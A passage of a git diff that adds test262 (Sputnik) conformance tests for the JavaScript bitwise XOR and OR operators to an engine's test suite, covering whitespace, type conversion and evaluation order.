+ $ERROR('#1: (true ^ null) === 1. Actual: ' + ((true ^ null)));
+}
+
+//CHECK#2
+if ((null ^ true) !== 1) {
+ $ERROR('#2: (null ^ true) === 1. Actual: ' + ((null ^ true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) ^ null) !== 1) {
+ $ERROR('#3: (new Boolean(true) ^ null) === 1. Actual: ' + ((new Boolean(true) ^ null)));
+}
+
+//CHECK#4
+if ((null ^ new Boolean(true)) !== 1) {
+ $ERROR('#4: (null ^ new Boolean(true)) === 1. Actual: ' + ((null ^ new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/browser.js b/js/src/tests/test262/ch11/11.10/11.10.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/shell.js b/js/src/tests/test262/ch11/11.10/11.10.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A1.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A1.js
new file mode 100644
index 000000000..193860824
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A1.js
@@ -0,0 +1,61 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between BitwiseORExpression and "|" or between "|" and BitwiseXORExpression are allowed
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if ((eval("0\u0009|\u00091")) !== 1) {
+ $ERROR('#1: (0\\u0009|\\u00091) === 1');
+}
+
+//CHECK#2
+if ((eval("0\u000B|\u000B1")) !== 1) {
+ $ERROR('#2: (0\\u000B|\\u000B1) === 1');
+}
+
+//CHECK#3
+if ((eval("0\u000C|\u000C1")) !== 1) {
+ $ERROR('#3: (0\\u000C|\\u000C1) === 1');
+}
+
+//CHECK#4
+if ((eval("0\u0020|\u00201")) !== 1) {
+ $ERROR('#4: (0\\u0020|\\u00201) === 1');
+}
+
+//CHECK#5
+if ((eval("0\u00A0|\u00A01")) !== 1) {
+ $ERROR('#5: (0\\u00A0|\\u00A01) === 1');
+}
+
+//CHECK#6
+if ((eval("0\u000A|\u000A1")) !== 1) {
+ $ERROR('#6: (0\\u000A|\\u000A1) === 1');
+}
+
+//CHECK#7
+if ((eval("0\u000D|\u000D1")) !== 1) {
+ $ERROR('#7: (0\\u000D|\\u000D1) === 1');
+}
+
+//CHECK#8
+if ((eval("0\u2028|\u20281")) !== 1) {
+ $ERROR('#8: (0\\u2028|\\u20281) === 1');
+}
+
+//CHECK#9
+if ((eval("0\u2029|\u20291")) !== 1) {
+ $ERROR('#9: (0\\u2029|\\u20291) === 1');
+}
+
+
+//CHECK#10
+if ((eval("0\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029|\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) !== 1) {
+ $ERROR('#10: (0\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029|\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.1_T1.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.1_T1.js
new file mode 100644
index 000000000..4c39440fe
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y uses GetValue
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if ((1 | 0) !== 1) {
+ $ERROR('#1: (1 | 0) === 1. Actual: ' + ((1 | 0)));
+}
+
+//CHECK#2
+var x = 1;
+if ((x | 0) !== 1) {
+ $ERROR('#2: var x = 1; (x | 0) === 1. Actual: ' + ((x | 0)));
+}
+
+//CHECK#3
+var y = 0;
+if ((1 | y) !== 1) {
+ $ERROR('#3: var y = 0; (1 | y) === 1. Actual: ' + ((1 | y)));
+}
+
+//CHECK#4
+var x = 1;
+var y = 0;
+if ((x | y) !== 1) {
+ $ERROR('#4: var x = 1; var y = 0; (x | y) === 1. Actual: ' + ((x | y)));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 0;
+if ((objectx.prop | objecty.prop) !== 1) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 0; (objectx.prop | objecty.prop) === 1. Actual: ' + ((objectx.prop | objecty.prop)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.1_T2.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.1_T2.js
new file mode 100644
index 000000000..38886529f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y uses GetValue
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x | 1;
+ $ERROR('#1.1: x | 1 throw ReferenceError. Actual: ' + (x | 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x | 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.1_T3.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.1_T3.js
new file mode 100644
index 000000000..313ea9588
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y uses GetValue
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 | y;
+ $ERROR('#1.1: 1 | y throw ReferenceError. Actual: ' + (1 | y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 | y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.2_T1.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.2_T1.js
new file mode 100644
index 000000000..1c7331411
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y uses [[Default Value]]
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if (({valueOf: function() {return 1}} | 0) !== 1) {
+ $ERROR('#1: ({valueOf: function() {return 1}} | 0) === 1. Actual: ' + (({valueOf: function() {return 1}} | 0)));
+}
+
+//CHECK#2
+if (({valueOf: function() {return 1}, toString: function() {return 0}} | 0) !== 1) {
+ $ERROR('#2: ({valueOf: function() {return 1}, toString: function() {return 0}} | 0) === 1. Actual: ' + (({valueOf: function() {return 1}, toString: function() {return 0}} | 0)));
+}
+
+//CHECK#3
+if (({valueOf: function() {return 1}, toString: function() {return {}}} | 0) !== 1) {
+ $ERROR('#3: ({valueOf: function() {return 1}, toString: function() {return {}}} | 0) === 1. Actual: ' + (({valueOf: function() {return 1}, toString: function() {return {}}} | 0)));
+}
+
+//CHECK#4
+try {
+ if (({valueOf: function() {return 1}, toString: function() {throw "error"}} | 0) !== 1) {
+ $ERROR('#4.1: ({valueOf: function() {return 1}, toString: function() {throw "error"}} | 0) === 1. Actual: ' + (({valueOf: function() {return 1}, toString: function() {throw "error"}} | 0)));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: ({valueOf: function() {return 1}, toString: function() {throw "error"}} | 0) not throw "error"');
+ } else {
+ $ERROR('#4.3: ({valueOf: function() {return 1}, toString: function() {throw "error"}} | 0) not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if ((0 | {toString: function() {return 1}}) !== 1) {
+ $ERROR('#5: (0 | {toString: function() {return 1}}) === 1. Actual: ' + ((0 | {toString: function() {return 1}})));
+}
+
+//CHECK#6
+if ((0 | {valueOf: function() {return {}}, toString: function() {return 1}}) !== 1) {
+ $ERROR('#6: (0 | {valueOf: function() {return {}}, toString: function() {return 1}}) === 1. Actual: ' + ((0 | {valueOf: function() {return {}}, toString: function() {return 1}})));
+}
+
+//CHECK#7
+try {
+ 0 | {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ $ERROR('#7.1: 0 | {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (0 | {valueOf: function() {throw "error"}, toString: function() {return 1}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 0 | {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 0 | {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 0 | {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (0 | {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 0 | {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.3_T1.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.3_T1.js
new file mode 100644
index 000000000..fe60b24d1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToInt32(first expression) is called first, and then ToInt32(second expression)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x | y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x | y throw "x". Actual: ' + (x | y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToInt32(first expression) is called first, and then ToInt32(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x | y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.4_T1.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.4_T1.js
new file mode 100644
index 000000000..4c5705d00
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.4_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 1;
+if (((x = 0) | x) !== 0) {
+ $ERROR('#1: var x = 1; ((x = 0) | x) === 0. Actual: ' + (((x = 0) | x)));
+}
+
+//CHECK#2
+var x = 1;
+if ((x | (x = 0)) !== 1) {
+ $ERROR('#2: var x = 1; (x | (x = 0)) === 1. Actual: ' + ((x | (x = 0))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.4_T2.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.4_T2.js
new file mode 100644
index 000000000..886ae2af5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() | y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() | y() throw "x". Actual: ' + (x() | y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() | y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.4_T3.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.4_T3.js
new file mode 100644
index 000000000..975bba911
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ * @noStrict
+ */
+
+//CHECK#1
+try {
+ x | (x = 1);
+ $ERROR('#1.1: x | (x = 1) throw ReferenceError. Actual: ' + (x | (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x | (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if (((y = 1) | y) !== 1) {
+ $ERROR('#2: ((y = 1) | y) === 1. Actual: ' + (((y = 1) | y)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.1.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.1.js
new file mode 100644
index 000000000..bdf1dddd2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if ((true | true) !== 1) {
+ $ERROR('#1: (true | true) === 1. Actual: ' + ((true | true)));
+}
+
+//CHECK#2
+if ((new Boolean(true) | true) !== 1) {
+ $ERROR('#2: (new Boolean(true) | true) === 1. Actual: ' + ((new Boolean(true) | true)));
+}
+
+//CHECK#3
+if ((true | new Boolean(true)) !== 1) {
+ $ERROR('#3: (true | new Boolean(true)) === 1. Actual: ' + ((true | new Boolean(true))));
+}
+
+//CHECK#4
+if ((new Boolean(true) | new Boolean(true)) !== 1) {
+ $ERROR('#4: (new Boolean(true) | new Boolean(true)) === 1. Actual: ' + ((new Boolean(true) | new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.2.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.2.js
new file mode 100644
index 000000000..057a8fd55
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if ((1 | 1) !== 1) {
+ $ERROR('#1: (1 | 1) === 1. Actual: ' + ((1 | 1)));
+}
+
+//CHECK#2
+if ((new Number(1) | 1) !== 1) {
+ $ERROR('#2: (new Number(1) | 1) === 1. Actual: ' + ((new Number(1) | 1)));
+}
+
+//CHECK#3
+if ((1 | new Number(1)) !== 1) {
+ $ERROR('#3: (1 | new Number(1)) === 1. Actual: ' + ((1 | new Number(1))));
+}
+
+//CHECK#4
+if ((new Number(1) | new Number(1)) !== 1) {
+ $ERROR('#4: (new Number(1) | new Number(1)) === 1. Actual: ' + ((new Number(1) | new Number(1))));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.3.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.3.js
new file mode 100644
index 000000000..f62798951
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if (("1" | "1") !== 1) {
+ $ERROR('#1: ("1" | "1") === 1. Actual: ' + (("1" | "1")));
+}
+
+//CHECK#2
+if ((new String("1") | "1") !== 1) {
+ $ERROR('#2: (new String("1") | "1") === 1. Actual: ' + ((new String("1") | "1")));
+}
+
+//CHECK#3
+if (("1" | new String("1")) !== 1) {
+ $ERROR('#3: ("1" | new String("1")) === 1. Actual: ' + (("1" | new String("1"))));
+}
+
+//CHECK#4
+if ((new String("1") | new String("1")) !== 1) {
+ $ERROR('#4: (new String("1") | new String("1")) === 1. Actual: ' + ((new String("1") | new String("1"))));
+}
+
+//CHECK#5
+if (("x" | "1") !== 1) {
+ $ERROR('#5: ("x" | "1") === 1. Actual: ' + (("x" | "1")));
+}
+
+//CHECK#6
+if (("1" | "x") !== 1) {
+ $ERROR('#6: ("1" | "x") === 1. Actual: ' + (("1" | "x")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.4.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.4.js
new file mode 100644
index 000000000..1fcf3aea4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+if ((null | undefined) !== 0) {
+ $ERROR('#1: (null | undefined) === 0. Actual: ' + ((null | undefined)));
+}
+
+//CHECK#2
+if ((undefined | null) !== 0) {
+ $ERROR('#2: (undefined | null) === 0. Actual: ' + ((undefined | null)));
+}
+
+//CHECK#3
+if ((undefined | undefined) !== 0) {
+ $ERROR('#3: (undefined | undefined) === 0. Actual: ' + ((undefined | undefined)));
+}
+
+//CHECK#4
+if ((null | null) !== 0) {
+ $ERROR('#4: (null | null) === 0. Actual: ' + ((null | null)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.5.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.5.js
new file mode 100644
index 000000000..c3df41a2c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T1.5.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T1.5.js
+ * @description Type(x) and Type(y) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (({} | function(){return 1}) !== 0) {
+ $ERROR('#1: ({} | function(){return 1}) === 0. Actual: ' + (({} | function(){return 1})));
+}
+
+//CHECK#2
+if ((function(){return 1} | {}) !== 0) {
+ $ERROR('#2: (function(){return 1} | {}) === 0. Actual: ' + ((function(){return 1} | {})));
+}
+
+//CHECK#3
+if ((function(){return 1} | function(){return 1}) !== 0) {
+ $ERROR('#3: (function(){return 1} | function(){return 1}) === 0. Actual: ' + ((function(){return 1} | function(){return 1})));
+}
+
+//CHECK#4
+if (({} | {}) !== 0) {
+ $ERROR('#4: ({} | {}) === 0. Actual: ' + (({} | {})));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.1.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.1.js
new file mode 100644
index 000000000..a54f2dbdf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if ((true | 1) !== 1) {
+ $ERROR('#1: (true | 1) === 1. Actual: ' + ((true | 1)));
+}
+
+//CHECK#2
+if ((1 | true) !== 1) {
+ $ERROR('#2: (1 | true) === 1. Actual: ' + ((1 | true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) | 1) !== 1) {
+ $ERROR('#3: (new Boolean(true) | 1) === 1. Actual: ' + ((new Boolean(true) | 1)));
+}
+
+//CHECK#4
+if ((1 | new Boolean(true)) !== 1) {
+ $ERROR('#4: (1 | new Boolean(true)) === 1. Actual: ' + ((1 | new Boolean(true))));
+}
+
+//CHECK#5
+if ((true | new Number(1)) !== 1) {
+ $ERROR('#5: (true | new Number(1)) === 1. Actual: ' + ((true | new Number(1))));
+}
+
+//CHECK#6
+if ((new Number(1) | true) !== 1) {
+ $ERROR('#6: (new Number(1) | true) === 1. Actual: ' + ((new Number(1) | true)));
+}
+
+//CHECK#7
+if ((new Boolean(true) | new Number(1)) !== 1) {
+ $ERROR('#7: (new Boolean(true) | new Number(1)) === 1. Actual: ' + ((new Boolean(true) | new Number(1))));
+}
+
+//CHECK#8
+if ((new Number(1) | new Boolean(true)) !== 1) {
+ $ERROR('#8: (new Number(1) | new Boolean(true)) === 1. Actual: ' + ((new Number(1) | new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.2.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.2.js
new file mode 100644
index 000000000..78795a543
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if (("1" | 1) !== 1) {
+ $ERROR('#1: ("1" | 1) === 1. Actual: ' + (("1" | 1)));
+}
+
+//CHECK#2
+if ((1 | "1") !== 1) {
+ $ERROR('#2: (1 | "1") === 1. Actual: ' + ((1 | "1")));
+}
+
+//CHECK#3
+if ((new String("1") | 1) !== 1) {
+ $ERROR('#3: (new String("1") | 1) === 1. Actual: ' + ((new String("1") | 1)));
+}
+
+//CHECK#4
+if ((1 | new String("1")) !== 1) {
+ $ERROR('#4: (1 | new String("1")) === 1. Actual: ' + ((1 | new String("1"))));
+}
+
+//CHECK#5
+if (("1" | new Number(1)) !== 1) {
+ $ERROR('#5: ("1" | new Number(1)) === 1. Actual: ' + (("1" | new Number(1))));
+}
+
+//CHECK#6
+if ((new Number(1) | "1") !== 1) {
+ $ERROR('#6: (new Number(1) | "1") === 1. Actual: ' + ((new Number(1) | "1")));
+}
+
+//CHECK#7
+if ((new String("1") | new Number(1)) !== 1) {
+ $ERROR('#7: (new String("1") | new Number(1)) === 1. Actual: ' + ((new String("1") | new Number(1))));
+}
+
+//CHECK#8
+if ((new Number(1) | new String("1")) !== 1) {
+ $ERROR('#8: (new Number(1) | new String("1")) === 1. Actual: ' + ((new Number(1) | new String("1"))));
+}
+
+//CHECK#9
+if (("x" | 1) !== 1) {
+ $ERROR('#9: ("x" | 1) === 1. Actual: ' + (("x" | 1)));
+}
+
+//CHECK#10
+if ((1 | "x") !== 1) {
+ $ERROR('#10: (1 | "x") === 1. Actual: ' + ((1 | "x")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.3.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.3.js
new file mode 100644
index 000000000..c01d6e726
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if ((1 | null) !== 1) {
+ $ERROR('#1: (1 | null) === 1. Actual: ' + ((1 | null)));
+}
+
+//CHECK#2
+if ((null | 1) !== 1) {
+ $ERROR('#2: (null | 1) === 1. Actual: ' + ((null | 1)));
+}
+
+//CHECK#3
+if ((new Number(1) | null) !== 1) {
+ $ERROR('#3: (new Number(1) | null) === 1. Actual: ' + ((new Number(1) | null)));
+}
+
+//CHECK#4
+if ((null | new Number(1)) !== 1) {
+ $ERROR('#4: (null | new Number(1)) === 1. Actual: ' + ((null | new Number(1))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.4.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.4.js
new file mode 100644
index 000000000..eb7d1432a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ((1 | undefined) !== 1) {
+ $ERROR('#1: (1 | undefined) === 1. Actual: ' + ((1 | undefined)));
+}
+
+//CHECK#2
+if ((undefined | 1) !== 1) {
+ $ERROR('#2: (undefined | 1) === 1. Actual: ' + ((undefined | 1)));
+}
+
+//CHECK#3
+if ((new Number(1) | undefined) !== 1) {
+ $ERROR('#3: (new Number(1) | undefined) === 1. Actual: ' + ((new Number(1) | undefined)));
+}
+
+//CHECK#4
+if ((undefined | new Number(1)) !== 1) {
+ $ERROR('#4: (undefined | new Number(1)) === 1. Actual: ' + ((undefined | new Number(1))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.5.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.5.js
new file mode 100644
index 000000000..3195c149d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if ((true | "1") !== 1) {
+ $ERROR('#1: (true | "1") === 1. Actual: ' + ((true | "1")));
+}
+
+//CHECK#2
+if (("1" | true) !== 1) {
+ $ERROR('#2: ("1" | true) === 1. Actual: ' + (("1" | true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) | "1") !== 1) {
+ $ERROR('#3: (new Boolean(true) | "1") === 1. Actual: ' + ((new Boolean(true) | "1")));
+}
+
+//CHECK#4
+if (("1" | new Boolean(true)) !== 1) {
